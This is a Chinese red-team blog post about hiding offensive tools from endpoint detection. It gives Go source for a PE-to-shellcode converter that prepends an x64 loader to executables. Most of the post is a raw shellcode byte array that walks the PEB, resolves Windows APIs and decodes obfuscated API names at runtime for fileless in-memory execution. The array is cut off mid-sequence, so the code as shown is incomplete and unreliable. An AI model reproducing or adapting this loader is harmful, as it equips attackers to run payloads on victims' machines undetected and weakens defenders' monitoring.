红队实战:基于PE通用加载器的隐蔽化工具加载方案

红队实战:基于PE通用加载器的隐蔽化工具加载方案

H1ng 免杀 评论0次 2025-04-07 2025-04-07
83

简介

本文针对红队渗透测试中工具加载面临的检测规避、内存驻留及跨版本兼容性需求,提出一种模块化PE通用加载器设计。该方案通过动态解析PE结构、内存映射执行和API哈希混淆技术,实现无文件化载荷注入,有效绕过EDR/IOC静态特征检测。


PE转shellcode

代码参考https://github.com/Mephostophiles/PengCode,用go语言重构一下,核心就是在PE文件前写了一个加载器

package main

import (
	"debug/pe"
         "encoding/hex"
	"fmt"
	"os"
	"io/ioutil"
)

func CheckPEArchitecture(filePath string) (string, error) {
	file, err := os.Open(filePath)
	if err != nil {
		return "", fmt.Errorf("failed to open file: %v", err)
	}
	defer file.Close()

	peData, err := pe.NewFile(file)
	if err != nil {
                fmt.Println("failed to read PE file: %v", err)
                return "64-bit", nil

	}else{

	switch peData.Machine {
	case pe.IMAGE_FILE_MACHINE_AMD64:
		return "64-bit", nil
	case pe.IMAGE_FILE_MACHINE_I386:
		return "32-bit", nil
	case pe.IMAGE_FILE_MACHINE_ARM64:
		return "64-bit ARM (ARM64) executable or DLL", nil
	default:
		return fmt.Sprintf("unknown machine type: %d", peData.Machine), nil
	}
}
}

func main() {
	if len(os.Args) < 2 {
		fmt.Println("Usage: enpass.exe <path-to-exe-or-dll>")
		os.Exit(1)
	}

	filePath := os.Args[1]

	architecture, err := CheckPEArchitecture(filePath)
	if err != nil {
		fmt.Printf("Error: %v\n", err)
		os.Exit(1)
	}
	if architecture == "64-bit" {
		Write64FileShellCode(filePath, "main.txt")
	} else if architecture == "32-bit" {
		Write32FileShellCode(filePath, "main.txt")
	} else {
		fmt.Println("unknown machine type:", architecture)
		os.Exit(1)
	}

	fmt.Println(architecture)
}
func Write64FileShellCode(path, outPath string) {
	hexData := []byte{0x48, 0x81, 0xEC, 0xC8, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xA0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,0x48, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24,0xA8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B,0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x63,0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x05, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48,0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x89, 0x84, 0x24, 0x08, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x14, 0x89, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24,0x40, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,0x84, 0x24, 0xF0, 0x01, 0x00, 0x00, 0xC6, 0x44, 0x24, 0x58, 0x57, 0xC6, 0x44, 0x24, 0x59, 0x75, 0xC6, 0x44, 0x24, 0x5A, 0x84, 0xC6, 0x44, 0x24, 0x5B, 0x60, 0xC6, 0x44, 0x24, 0x5C, 0x82, 0xC6, 0x44, 0x24, 0x5D, 0x7F, 0xC6, 0x44, 0x24, 0x5E, 0x73, 0xC6, 0x44, 0x24, 0x5F, 0x51, 0xC6, 0x44, 0x24, 0x60, 0x74, 0xC6, 0x44, 0x24, 0x61, 0x74, 0xC6, 0x44, 0x24, 0x62, 0x82, 0xC6, 0x44, 0x24,0x63, 0x75, 0xC6, 0x44, 0x24, 0x64, 0x83, 0xC6, 0x44, 0x24, 0x65, 0x83, 0xC6, 0x44, 0x24, 0x66, 0x00, 0xC7, 0x44, 0x24, 0x70, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x70, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x70, 0x48, 0x63, 0x44, 0x24, 0x70, 0x48, 0x83, 0xF8, 0x0E, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x70, 0x0F, 0xB6, 0x44, 0x04, 0x58, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C,0x24, 0x70, 0x88, 0x44, 0x0C, 0x58, 0xEB, 0xD3, 0xC6, 0x44, 0x24, 0x30, 0x5C, 0xC6, 0x44, 0x24, 0x31, 0x7F, 0xC6, 0x44, 0x24, 0x32, 0x71, 0xC6, 0x44, 0x24, 0x33, 0x74, 0xC6, 0x44, 0x24, 0x34, 0x5C, 0xC6, 0x44, 0x24, 0x35, 0x79, 0xC6, 0x44, 0x24, 0x36, 0x72, 0xC6, 0x44, 0x24, 0x37, 0x82, 0xC6, 0x44, 0x24, 0x38, 0x71, 0xC6, 0x44, 0x24, 0x39, 0x82, 0xC6, 0x44, 0x24, 0x3A, 0x89, 0xC6,0x44, 0x24, 0x3B, 0x51, 0xC6, 0x44, 0x24, 0x3C, 0x00, 0xC7, 0x44, 0x24, 0x74, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x74, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x74, 0x48, 0x63, 0x44, 0x24, 0x74, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x74, 0x0F, 0xB6, 0x44, 0x04, 0x30, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x74, 0x88, 0x44, 0x0C, 0x30, 0xEB, 0xD3,0xC6, 0x44, 0x24, 0x40, 0x66, 0xC6, 0x44, 0x24, 0x41, 0x79, 0xC6, 0x44, 0x24, 0x42, 0x82, 0xC6, 0x44, 0x24, 0x43, 0x84, 0xC6, 0x44, 0x24, 0x44, 0x85, 0xC6, 0x44, 0x24, 0x45, 0x71, 0xC6, 0x44, 0x24, 0x46, 0x7C, 0xC6, 0x44, 0x24, 0x47, 0x51, 0xC6, 0x44, 0x24, 0x48, 0x7C, 0xC6, 0x44, 0x24, 0x49, 0x7C, 0xC6, 0x44, 0x24, 0x4A, 0x7F, 0xC6, 0x44, 0x24, 0x4B, 0x73, 0xC6, 0x44, 0x24, 0x4C,0x00, 0xC7, 0x44, 0x24, 0x78, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x78, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x78, 0x48, 0x63, 0x44, 0x24, 0x78, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x78, 0x0F, 0xB6, 0x44, 0x04, 0x40, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x78, 0x88, 0x44, 0x0C, 0x40, 0xEB, 0xD3, 0xC7, 0x44, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00,0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x68, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x68, 0x8B, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x68, 0x0F, 0x87, 0xC3, 0x05, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x7C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x7C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x7C, 0x8B, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x7C, 0x0F, 0x83, 0x99, 0x05,0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x04, 0x41, 0x3B, 0x44, 0x24, 0x68, 0x0F, 0x85, 0x7A, 0x05, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00,0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xBA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C,0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B,0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F,0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xE1,0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00,0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0D, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0D, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81,0x89, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01,0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00,0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B,0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F,0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00,0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00,0x8B, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE,0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05,0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01,0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00,0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F,0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0xE9, 0x4C, 0xFA, 0xFF, 0xFF, 0xE9, 0x22, 0xFA, 0xFF, 0xFF, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0xC6, 0x84, 0x24, 0xA1, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA2, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA3, 0x00, 0x00, 0x00, 0x00,0xC6, 0x84, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA5, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA6, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xC6, 0x84, 0x24, 0xA8, 0x00, 0x00, 0x00, 0xC3, 0xC7, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xC7, 0x84,0x24, 0x2C, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x8C, 0x24, 0x28, 0x01, 0x00, 0x00, 0x0B, 0xC8, 0x8B, 0xC1, 0x44, 0x8B, 0x8C, 0x24, 0x2C, 0x01, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0xBA, 0x09, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA0, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x80,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x83, 0xBC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x09, 0x7D, 0x25, 0x48, 0x63, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x84, 0x04, 0xA0,0x00, 0x00, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xC1, 0xFF, 0x94, 0x24, 0xA0, 0x01, 